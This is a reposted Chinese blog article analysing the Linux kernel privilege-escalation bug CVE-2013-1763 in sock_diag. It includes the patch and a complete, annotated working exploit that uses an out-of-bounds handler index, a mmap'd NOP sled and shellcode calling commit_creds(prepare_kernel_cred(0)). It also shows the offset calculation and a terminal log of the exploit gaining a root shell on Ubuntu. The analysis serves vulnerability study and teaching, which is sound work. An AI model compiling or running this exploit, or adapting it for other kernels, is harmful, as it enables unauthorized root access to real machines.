一则利用内核漏洞获取root权限的案例【转】

转自:https://blog.csdn.net/u014089131/article/details/73933649

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch:

[cpp]  view plain  copy
 
  1. net/core/sock_diag.c View file @ 6e601a5  
  2. @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
  3.    if (nlmsg_len(nlh) < sizeof(*req))  
  4.      return -EINVAL;  
  5.    
  6. +  if (req->sdiag_family >= AF_MAX)  
  7. +    return -EINVAL;  
  8. +  
  9.    hndl = sock_diag_lock_handler(req->sdiag_family);  
  10.    if (hndl == NULL)  
  11.      err = -ENOENT;  

Patch 很简单,只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么:
[cpp]  view plain  copy
 
  1. static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)  
  2. {  
  3.         if (sock_diag_handlers[family] == NULL)  
  4.                 request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,  
  5.                                 NETLINK_SOCK_DIAG, family);  
  6.   
  7.         mutex_lock(&sock_diag_table_mutex);  
  8.         return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.  
  9. }  

这个函数也没有做什么,只是对 sock_diag_lock_hander[family]进行检测,是否为NULL,如果为NULL申请注册,然后加上了一把锁,最后返回的是它的地址。
[cpp]  view plain  copy
 
  1. static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.  
接着我们再看看完整的__sock_diag_rcv_msg函数。
[cpp]  view plain  copy
 
  1. static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)  
  2. {  
  3.     int err;  
  4.     struct sock_diag_req *req = NLMSG_DATA(nlh);  
  5.     struct sock_diag_handler *hndl;  
  6.   
  7.     if (nlmsg_len(nlh) < sizeof(*req))  
  8.         return -EINVAL;  
  9.   
  10.     hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。  
  11.     if (hndl == NULL)  
  12.         err = -ENOENT;  
  13.     else  
  14.         err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码  
  15.     sock_diag_unlock_handler(hndl);  
  16.     return err;  
  17. }  

5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞,但是如何利用这个漏洞来执行我们自己的程序,取得root权限还是需要很困难的,需要对kernel系统以及计算机运行原理非常了解才可以,并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码,请欣赏:

[cpp]  view plain  copy
 
  1. /*  
  2. * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 
  3. * bug found by Spender 
  4. * poc by SynQ 
  5. *  
  6. * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux 
  7. * using nl_table->hash.rehash_time, index 81 
  8. *  
  9. * Fedora 18 support added 
  10. *  
  11. * 2/2013 
  12. */  
  13.   
  14. #include <unistd.h>  
  15. #include <sys/socket.h>  
  16. #include <linux/netlink.h>  
  17. #include <netinet/tcp.h>  
  18. #include <errno.h>  
  19. #include <linux/if.h>  
  20. #include <linux/filter.h>  
  21. #include <string.h>  
  22. #include <stdio.h>  
  23. #include <stdlib.h>  
  24. #include <linux/sock_diag.h>  
  25. #include <linux/inet_diag.h>  
  26. #include <linux/unix_diag.h>  
  27. #include <sys/mman.h>  
  28.   
  29. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
  30. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
  31. _commit_creds commit_creds;  
  32. _prepare_kernel_cred prepare_kernel_cred;  
  33. unsigned long sock_diag_handlers, nl_table;  
  34.   
  35. int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。  
  36. kernel_code()  
  37. {  
  38.     commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。  
  39.     return -1;  
  40. }  
  41.   
  42. //这段函数没有使用,用来解释hard code jump[] 为什么是那些数值  
  43. int jump_payload_not_used(void *skb, void *nlh)  
  44. {  
  45.     asm volatile (  
  46.         "mov $kernel_code, %eax\n"  
  47.         "call *%eax\n"  
  48.     );  
  49. }  
  50.   
  51. unsigned long  
  52. get_symbol(char *name)  //为了获取内核函数地址  
  53. {  
  54.     FILE *f;  
  55.     unsigned long addr;  
  56.     char dummy, sym[512];  
  57.     int ret = 0;  
  58.    
  59.     f = fopen("/proc/kallsyms", "r");  
  60.     if (!f) {  
  61.         return 0;  
  62.     }  
  63.    
  64.     while (ret != EOF) {  
  65.         ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);  
  66.         if (ret == 0) {  
  67.             fscanf(f, "%s\n", sym);  
  68.             continue;  
  69.         }  
  70.         if (!strcmp(name, sym)) {  
  71.             printf("[+] resolved symbol %s to %p\n", name, (void *) addr);  
  72.             fclose(f);  
  73.             return addr;  
  74.         }  
  75.     }  
  76.     fclose(f);  
  77.    
  78.     return 0;  
  79. }  
  80.   
  81. int main(int argc, char*argv[])  
  82. {  
  83.     int fd;  
  84.     unsigned family;  
  85.     struct {  
  86.         struct nlmsghdr nlh;  //socket协议netlink数据包的格式  
  87.         struct unix_diag_req r;  
  88.     } req;  
  89.     char    buf[8192];  
  90.   
  91.     //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的  
  92.     if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){  
  93.         printf("Can't create sock diag socket\n");  
  94.         return -1;  
  95.     }  
  96.   
  97.     //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去  
  98.     memset(&req, 0, sizeof(req));  
  99.     req.nlh.nlmsg_len = sizeof(req);  
  100.     req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;  
  101.     req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;  
  102.     req.nlh.nlmsg_seq = 123456;  
  103.   
  104.     //req.r.sdiag_family = 89;  
  105.     req.r.udiag_states = -1;  
  106.     req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;  
  107.   
  108.     if(argc==1){  
  109.         printf("Run: %s Fedora|Ubuntu\n",argv[0]);  
  110.         return 0;  
  111.     }  
  112.     else if(strcmp(argv[1],"Fedora")==0){  
  113.       commit_creds = (_commit_creds) get_symbol("commit_creds");  
  114.       prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  
  115.       sock_diag_handlers = get_symbol("sock_diag_handlers");  
  116.       nl_table = get_symbol("nl_table");  
  117.         
  118.       if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){  
  119.         printf("some symbols are not available!\n");  
  120.         exit(1);  
  121.         }  
  122.   
  123.       family = (nl_table - sock_diag_handlers) / 4;  
  124.       printf("family=%d\n",family);  
  125.       req.r.sdiag_family = family;  
  126.         
  127.       if(family>255){  
  128.         printf("nl_table is too far!\n");  
  129.         exit(1);  
  130.         }  
  131.     }  
  132.     else if(strcmp(argv[1],"Ubuntu")==0){  
  133.       commit_creds = (_commit_creds) 0xc106bc60;  
  134.       prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;  
  135.       req.r.sdiag_family = 81;  
  136.     }  
  137.   
  138.     unsigned long mmap_start, mmap_size;  
  139.     mmap_start = 0x10000;  //选择了一块1MB多的内存区域  
  140.     mmap_size = 0x120000;    
  141.     printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);  
  142.   
  143.         if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,  
  144.                 MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {  
  145.                 printf("mmap fault\n");  
  146.                 exit(1);  
  147.         }  
  148.     memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令  
  149.   
  150.     char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm  
  151.     unsigned long *asd = &jump[4];  
  152.     *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11  
  153.   
  154.     //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。  
  155.     memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));  
  156.   
  157.     //所有准备工作完成之后,最后在这里发送socket触发这个漏洞  
  158.     if ( send(fd, &req, sizeof(req), 0) < 0) {  
  159.         printf("bad send\n");  
  160.         close(fd);  
  161.         return -1;  
  162.     }  
  163.   
  164.     printf("uid=%d, euid=%d\n",getuid(), geteuid() );  
  165.   
  166.     if(!getuid())  
  167.         system("/bin/sh");  
  168. }  

6. exploit代码分析

在分析之前,有些概念要澄清一下,在linux系统中,用户空间和内核空间是独立存在的。在一个32位的linux系统中,每个进程会虚拟出4G的内存空间,其中3G是用户空间,1G是内核空间,用户空间的地址范围是0×00000000 到 0xBFFFFFFF,内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享,但只有运行在内核态的进程才能访问,用户进程可以通过系统调用切换到内核态访问内核空间,进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数,如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的,所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢?所有我们mmap了一块从0x10000开始0x120000大小的内存空间,然后将这块空间写满NOP指令,将跳转执行kernel_code的代码放在这块区域的最后面,也就是说,只要跳转执行到这块内存区域的(除了jump代码块内部)都会顺利跑到kernel_code函数。这种方法叫做NOP slide,就像坐滑滑梯一样,自然滑到底部。jump这一段代码的分析如下:

[cpp]  view plain  copy
 
  1. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm  
  2.     unsigned long *asd = &jump[4];  
  3.     *asd = (unsigned long)kernel_code;  
  4.   
  5. int jump_payload_not_used(void *skb, void *nlh)  
  6. {  
  7.     asm volatile (  
  8.         "mov $kernel_code, %eax\n"  
  9.         "call *%eax\n"  
  10.     );  
  11. }  
  12.   
  13. [email protected]:~/Downloads$ gcc CVE-2013-1763.c  
  14. CVE-2013-1763.c: In function ‘main’:  
  15. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
  16. [email protected]:~/Downloads$ objdump -D a.out  
  17. ….  
  18. 08048763 <jump_payload_not_used>:  
  19.  8048763:   55                      push   %ebp  
  20.  8048764:   89 e5                   mov    %esp,%ebp  
  21.  8048766:   b8 3c 87 04 08          mov    $0x804873c,%eax  
  22.  804876b:   ff d0                   call   *%eax  
  23.  804876d:   5d                      pop    %ebp  
  24.  804876e:   c3                      ret     
  25. ….  
  26.   
  27. (gdb) p/x jump  
  28. $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址  
  29. (gdb) p kernel_code  
  30. $4 = {int ()} 0x804873c <kernel_code>  

问题的关键变成了如何才能跳转到这一块内存区域呢?先看看下面这结构体的定义:
[cpp]  view plain  copy
 
  1. struct nlmsghdr {  
  2.       __u32       nlmsg_len;  /* Length of message including header */  
  3.       __u16       nlmsg_type; /* Message content */  
  4.       __u16       nlmsg_flags;    /* Additional flags */  
  5.       __u32       nlmsg_seq;  /* Sequence number */  
  6.       __u32       nlmsg_pid;  /* Sending process port ID */  
  7.   };  
  8.   
  9.   struct unix_diag_req {  
  10.       __u8    sdiag_family;  
  11.       __u8    sdiag_protocol;  
  12.       __u16   pad;  
  13.       __u32   udiag_states;  
  14.       __u32   udiag_ino;  
  15.       __u32   udiag_show;  
  16.       __u32   udiag_cookie[2];  
  17.   };  
  18.   
  19. struct sock_diag_handler {  
  20.         __u8 family;//  
  21.         int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);  
  22. };  
  23.   
  24.  struct netlink_table {  
  25.          struct nl_portid_hash   hash; //取回这个值  
  26.          struct hlist_head       mc_list;  
  27.          struct listeners __rcu  *listeners;  
  28.          unsigned int            flags;  
  29.          unsigned int            groups;  
  30.          struct mutex            *cb_mutex;  
  31.          struct module           *module;  
  32.          void                    (*bind)(int group);  
  33.          int                     registered;  
  34.  };  
  35.   
  36.  struct nl_portid_hash {  
  37.          struct hlist_head       *table; 四个字节  
  38.          unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.  
  39.    
  40.          unsigned int            mask;  
  41.          unsigned int            shift;  
  42.    
  43.          unsigned int            entries;  
  44.          unsigned int            max_shift;  
  45.    
  46.          u32                     rnd;  
  47.  };  
  48.   
  49. static struct netlink_table *nl_table;  


我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内,所以可以利用这个值来跳转,只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址,可以通过以下两种方式查看。

[cpp]  view plain  copy
 
  1. cat /proc/kallsyms  
  2. sudo cat /boot/System.map-3.2.0-43-generic-pae  

但是在ubuntu系统中前一种方法无法查看到变量函数的地址,所以只有使用第二种方法了,由于 nl_table和sock_diag_handlers都是指针,所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。
[cpp]  view plain  copy
 
  1. [email protected]:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table  
  2. c189b5c0 d nl_table_lock  
  3. c189b5c4 d nl_table_wait  
  4. c1a488e0 b nl_table_users  
  5. c1a488e4 b nl_table  
  6. [email protected]:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers  
  7. c1a487a0 b sock_diag_handlers  
  8. (0xc1a488e4 - 0xc1a487a0) / 4 = 81L  

至此所有的谜题都解开了,然后就可以高高兴兴的黑自己一把了:
[cpp]  view plain  copy
 
  1. [email protected]:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c  
  2. CVE-2013-1763.c: In function ‘main’:  
  3. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]  
  4. [email protected]:~/Downloads$ id  
  5. uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)  
  6. [email protected]:~/Downloads$ ./CVE-2013-1763 Ubuntu  
  7. mmapping at 0x10000, size = 0x120000  
  8. uid=0, euid=0  
  9. # id  
  10. uid=0(root) gid=0(root) groups=0(root)  
  11. #  
由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex),但是我们在后面将程序引入到其他地方,并没有接着执行 mutex_unlock(&sock_diag_table_mutex),所以按道理只能root成功一次,但是我在测试中发现有时候可以root多次,有时候root一次之后就不能再root了,需要重启才可以重新root。

转载: https://my.oschina.net/fgq611/blog/156089

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